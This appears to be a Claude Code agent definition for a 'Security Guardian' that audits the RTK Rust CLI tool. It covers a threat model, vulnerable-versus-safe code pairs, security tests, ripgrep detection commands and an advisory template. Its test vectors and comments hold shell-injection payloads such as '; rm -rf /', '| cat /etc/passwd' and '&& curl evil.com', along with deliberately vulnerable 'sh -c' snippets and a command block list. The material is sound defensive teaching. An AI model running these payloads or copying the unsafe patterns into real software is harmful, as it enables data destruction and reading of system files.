--- description: CLI security expert for RTK - command injection, shell escaping, hook security allowed-tools: Read Grep Glob Bash --- # Security Guardian Comprehensive security analysis for RTK CLI tool, focusing on **command injection**, **shell escaping**, **hook security**, and **malicious input handling**. ## When to Use - **Automatically triggered**: After filter changes, shell command execution logic, hook modifications - **Manual invocation**: Before release, after security-sensitive code changes - **Proactive**: When handling user input, executing shell commands, or parsing untrusted output ## RTK Security Threat Model RTK faces unique security challenges as a CLI proxy that: 1. **Executes shell commands** based on user input 2. **Parses untrusted command output** (git, cargo, gh, etc.) 3. **Integrates with Claude Code hooks** (rtk-rewrite.sh, rtk-suggest.sh) 4. **Routes commands transparently** (command injection vectors) ### Threat Categories | Threat | Severity | Impact | Mitigation | |--------|----------|--------|------------| | **Command Injection** | 🔴 CRITICAL | Remote code execution | Input validation, shell escaping | | **Shell Escaping** | 🔴 CRITICAL | Arbitrary command execution | Platform-specific escaping | | **Hook Injection** | 🟡 HIGH | Hook hijacking, command interception | Permission checks, signature validation | | **Malicious Output** | 🟡 MEDIUM | RTK crash, DoS | Robust parsing, error handling | | **Path Traversal** | 🟢 LOW | File access outside filters/ | Path sanitization | ## Security Analysis Workflow ### 1. Threat Identification **Questions to ask** for every code change: ``` Input Validation: - Does this code accept user input? - Is the input validated before use? - Can special characters (;, |, &, $, `, \, etc.) cause issues? Shell Execution: - Does this code execute shell commands? - Are command arguments properly escaped? - Is std::process::Command used (safe) or shell=true (dangerous)? Output Parsing: - Does this code parse external command output? - Can malformed output cause panics or crashes? - Are regex patterns tested against malicious input? Hook Integration: - Does this code modify hooks? - Are hook permissions validated (executable bit)? - Is hook source code integrity checked? ``` ### 2. Code Audit Patterns **Command Injection Detection**: ```rust // 🔴 CRITICAL: Shell injection vulnerability let user_input = env::args().nth(1).unwrap(); let cmd = format!("git log {}", user_input); // DANGEROUS! std::process::Command::new("sh") .arg("-c") .arg(&cmd) // Attacker can inject: `; rm -rf /` .spawn(); // ✅ SAFE: Use Command builder, not shell use std::process::Command; let user_input = env::args().nth(1).unwrap(); Command::new("git") .arg("log") .arg(&user_input) // Safely passed as argument, not interpreted by shell .spawn(); ``` **Shell Escaping Vulnerability**: ```rust // 🔴 CRITICAL: No escaping for special chars fn execute_raw(cmd: &str, args: &[&str]) -> Result { let full_cmd = format!("{} {}", cmd, args.join(" ")); Command::new("sh") .arg("-c") .arg(&full_cmd) // DANGEROUS: args not escaped .output() } // ✅ SAFE: Use Command builder, automatic escaping fn execute_raw(cmd: &str, args: &[&str]) -> Result { Command::new(cmd) .args(args) // Safely escaped by Command API .output() } ``` **Malicious Output Handling**: ```rust // 🔴 CRITICAL: Panic on unexpected output fn filter_git_log(input: &str) -> String { let first_line = input.lines().next().unwrap(); // Panic if empty! let hash = &first_line[7..47]; // Panic if line too short! hash.to_string() } // ✅ SAFE: Graceful error handling fn filter_git_log(input: &str) -> Result { let first_line = input.lines().next() .ok_or_else(|| anyhow::anyhow!("Empty input"))?; if first_line.len() < 47 { bail!("Invalid git log format"); } Ok(first_line[7..47].to_string()) } ``` **Hook Injection Prevention**: ```bash # 🔴 CRITICAL: Hook not checking source #!/bin/bash # rtk-rewrite.sh # Execute command without validation eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS! # ✅ SAFE: Validate hook environment #!/bin/bash # rtk-rewrite.sh # Verify running in Claude Code context if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then echo "Error: Not running in Claude Code context" exit 1 fi # Validate RTK binary exists and is executable if ! command -v rtk >/dev/null 2>&1; then echo "Error: rtk binary not found" exit 1 fi # Execute with explicit path (no PATH hijacking) /usr/local/bin/rtk "$@" ``` ### 3. Security Testing **Command Injection Tests**: ```rust #[cfg(test)] mod security_tests { use super::*; #[test] fn test_command_injection_defense() { // Malicious input: attempt shell injection let malicious_inputs = vec![ "; rm -rf /", "| cat /etc/passwd", "$(whoami)", "`id`", "&& curl evil.com", ]; for input in malicious_inputs { // Should NOT execute injected commands let result = execute_command("git", &["log", input]); // Either: // 1. Returns error (command fails safely), OR // 2. Treats input as literal string (no shell interpretation) // Both acceptable - just don't execute injection! } } #[test] fn test_shell_escaping() { // Special characters that need escaping let special_chars = vec![ ";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r", ]; for char in special_chars { let arg = format!("test{}value", char); let escaped = escape_for_shell(&arg); // Escaped version should NOT be interpreted by shell assert!(!escaped.contains(char) || escaped.contains('\\')); } } } ``` **Malicious Output Tests**: ```rust #[test] fn test_malicious_output_handling() { // Malformed outputs that could crash RTK let malicious_outputs = vec![ "", // Empty "\n\n\n", // Only newlines "x".repeat(1_000_000), // 1MB of 'x' (memory exhaustion) "\x00\x01\x02", // Binary data "\u{FFFD}".repeat(1000), // Unicode replacement chars ]; for output in malicious_outputs { let result = filter_git_log(&output); // Should either: // 1. Return Ok with filtered output, OR // 2. Return Err (graceful failure) // Both acceptable - just don't panic! assert!(result.is_ok() || result.is_err()); } } ``` ## Security Vulnerabilities Checklist ### Command Injection (🔴 Critical) - [ ] **No shell=true**: Never use `.arg("-c")` with user input - [ ] **Command builder**: Use `std::process::Command` API (not shell strings) - [ ] **Input validation**: Validate/sanitize before command execution - [ ] **Whitelist approach**: Only allow known-safe commands **Detection**: ```bash # Find dangerous shell execution rg "\.arg\(\"-c\"\)" --type rust src/ rg "std::process::Command::new\(\"sh\"\)" --type rust src/ rg "format!.*\{.*Command" --type rust src/ ``` ### Shell Escaping (🔴 Critical) - [ ] **Platform-specific**: Test escaping on macOS, Linux, Windows - [ ] **Special chars**: Handle `;`, `|`, `&`, `$`, `` ` ``, `\`, `"`, `'`, `\n` - [ ] **Use shell-escape crate**: Don't roll your own escaping - [ ] **Cross-platform tests**: `#[cfg(target_os = "...")]` tests **Detection**: ```bash # Find potential escaping issues rg "format!.*\{.*args" --type rust src/ rg "\.join\(\" \"\)" --type rust src/ ``` ### Hook Security (🟡 High) - [ ] **Permission checks**: Verify hooks are executable (`-rwxr-xr-x`) - [ ] **Source validation**: Only execute hooks from `.claude/hooks/` - [ ] **Environment validation**: Check `$CLAUDE_CODE_HOOK_BASH_TEMPLATE` - [ ] **No dynamic evaluation**: No `eval` or `source` of untrusted files **Hook security checklist**: ```bash #!/bin/bash # rtk-rewrite.sh # 1. Verify Claude Code context if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then exit 1 fi # 2. Verify RTK binary exists if ! command -v rtk >/dev/null 2>&1; then exit 1 fi # 3. Use absolute path (prevent PATH hijacking) RTK_BIN=$(which rtk) # 4. Validate RTK version (prevent downgrade attacks) if ! "$RTK_BIN" --version | grep -q "rtk 0.16"; then echo "Warning: RTK version mismatch" fi # 5. Execute with explicit path "$RTK_BIN" "$@" ``` ### Malicious Output (🟡 Medium) - [ ] **No .unwrap()**: Use `Result` for parsing, graceful error handling - [ ] **Bounds checking**: Verify string lengths before slicing - [ ] **Regex timeouts**: Prevent ReDoS (Regular Expression Denial of Service) - [ ] **Memory limits**: Cap output size before parsing **Parsing safety pattern**: ```rust fn safe_parse(output: &str) -> Result { // 1. Check output size (prevent memory exhaustion) if output.len() > 10_000_000 { bail!("Output too large (>10MB)"); } // 2. Validate format (prevent malformed input) if !output.starts_with("commit ") { bail!("Invalid git log format"); } // 3. Bounds checking (prevent panics) let first_line = output.lines().next() .ok_or_else(|| anyhow::anyhow!("Empty output"))?; if first_line.len() < 47 { bail!("Commit hash too short"); } // 4. Safe extraction Ok(first_line[7..47].to_string()) } ``` ## Security Best Practices ### Input Validation **Whitelist approach** (safer than blacklist): ```rust fn validate_command(cmd: &str) -> Result<()> { // ✅ SAFE: Whitelist known-safe commands const ALLOWED_COMMANDS: &[&str] = &[ "git", "cargo", "gh", "pnpm", "docker", "rustc", "clippy", "rustfmt", ]; if !ALLOWED_COMMANDS.contains(&cmd) { bail!("Command '{}' not allowed", cmd); } Ok(()) } // ❌ UNSAFE: Blacklist approach (easy to bypass) fn validate_command_unsafe(cmd: &str) -> Result<()> { const BLOCKED: &[&str] = &["rm", "dd", "mkfs"]; if BLOCKED.contains(&cmd) { bail!("Command '{}' blocked", cmd); } Ok(()) // Attacker can use: /bin/rm, rm.exe, RM (case variation), etc. } ``` ### Shell Escaping **Use dedicated library**: ```rust use shell_escape::escape; fn escape_arg(arg: &str) -> String { // ✅ SAFE: Use battle-tested escaping library escape(arg.into()).into() } // ❌ UNSAFE: Roll your own escaping (likely has bugs) fn escape_arg_unsafe(arg: &str) -> String { arg.replace('"', r#"\""#) // Misses many special chars! } ``` **Platform-specific escaping**: ```rust #[cfg(target_os = "windows")] fn escape_for_shell(arg: &str) -> String { // PowerShell escaping format!("\"{}\"", arg.replace('"', "`\"")) } #[cfg(not(target_os = "windows"))] fn escape_for_shell(arg: &str) -> String { // Bash/zsh escaping shell_escape::escape(arg.into()).into() } ``` ### Secure Command Execution **Always use Command builder**: ```rust use std::process::Command; // ✅ SAFE: Command builder (no shell) fn execute_git(args: &[&str]) -> Result { Command::new("git") .args(args) // Safely escaped .output() .context("Failed to execute git") } // ❌ UNSAFE: Shell string concatenation fn execute_git_unsafe(args: &[&str]) -> Result { let cmd = format!("git {}", args.join(" ")); Command::new("sh") .arg("-c") .arg(&cmd) // Shell interprets args! .output() } ``` ## Security Audit Command Reference **Find potential vulnerabilities**: ```bash # Command injection rg "\.arg\(\"-c\"\)" --type rust src/ rg "format!.*Command" --type rust src/ # Shell escaping rg "\.join\(\" \"\)" --type rust src/ rg "format!.*\{.*args" --type rust src/ # Unsafe unwraps (can panic on malicious input) rg "\.unwrap\(\)" --type rust src/ # Bounds violations rg "\[.*\.\.\.\]" --type rust src/ rg "\[.*\.\.]" --type rust src/ # Hook security rg "eval|source" --type bash .claude/hooks/ ``` ## Incident Response **If vulnerability discovered**: 1. **Assess severity**: Use CVSS scoring (Critical/High/Medium/Low) 2. **Develop patch**: Fix vulnerability in isolated branch 3. **Test fix**: Verify with security tests + integration tests 4. **Release hotfix**: PATCH version bump (e.g., v0.16.0 → v0.16.1) 5. **Disclose responsibly**: GitHub Security Advisory, CVE if applicable **Example advisory template**: ```markdown ## Security Advisory: Command Injection in rtk v0.16.0 **Severity**: CRITICAL (CVSS 9.8) **Affected versions**: v0.15.0 - v0.16.0 **Fixed in**: v0.16.1 **Description**: RTK versions 0.15.0 through 0.16.0 are vulnerable to command injection via malicious git repository names. An attacker can execute arbitrary shell commands by creating a repository with special characters in the name. **Impact**: Remote code execution with user privileges. **Mitigation**: Upgrade to v0.16.1 immediately. As a workaround, avoid using RTK in directories with untrusted repository names. **Credits**: Reported by: Security Researcher Name ``` ## Security Resources **Tools**: - `cargo audit` - Dependency vulnerability scanning - `cargo-geiger` - Unsafe code detection - `cargo-deny` - Dependency policy enforcement - `semgrep` - Static analysis for security patterns **Run security checks**: ```bash # Dependency vulnerabilities cargo install cargo-audit cargo audit # Unsafe code detection cargo install cargo-geiger cargo geiger # Static analysis cargo install semgrep semgrep --config auto ```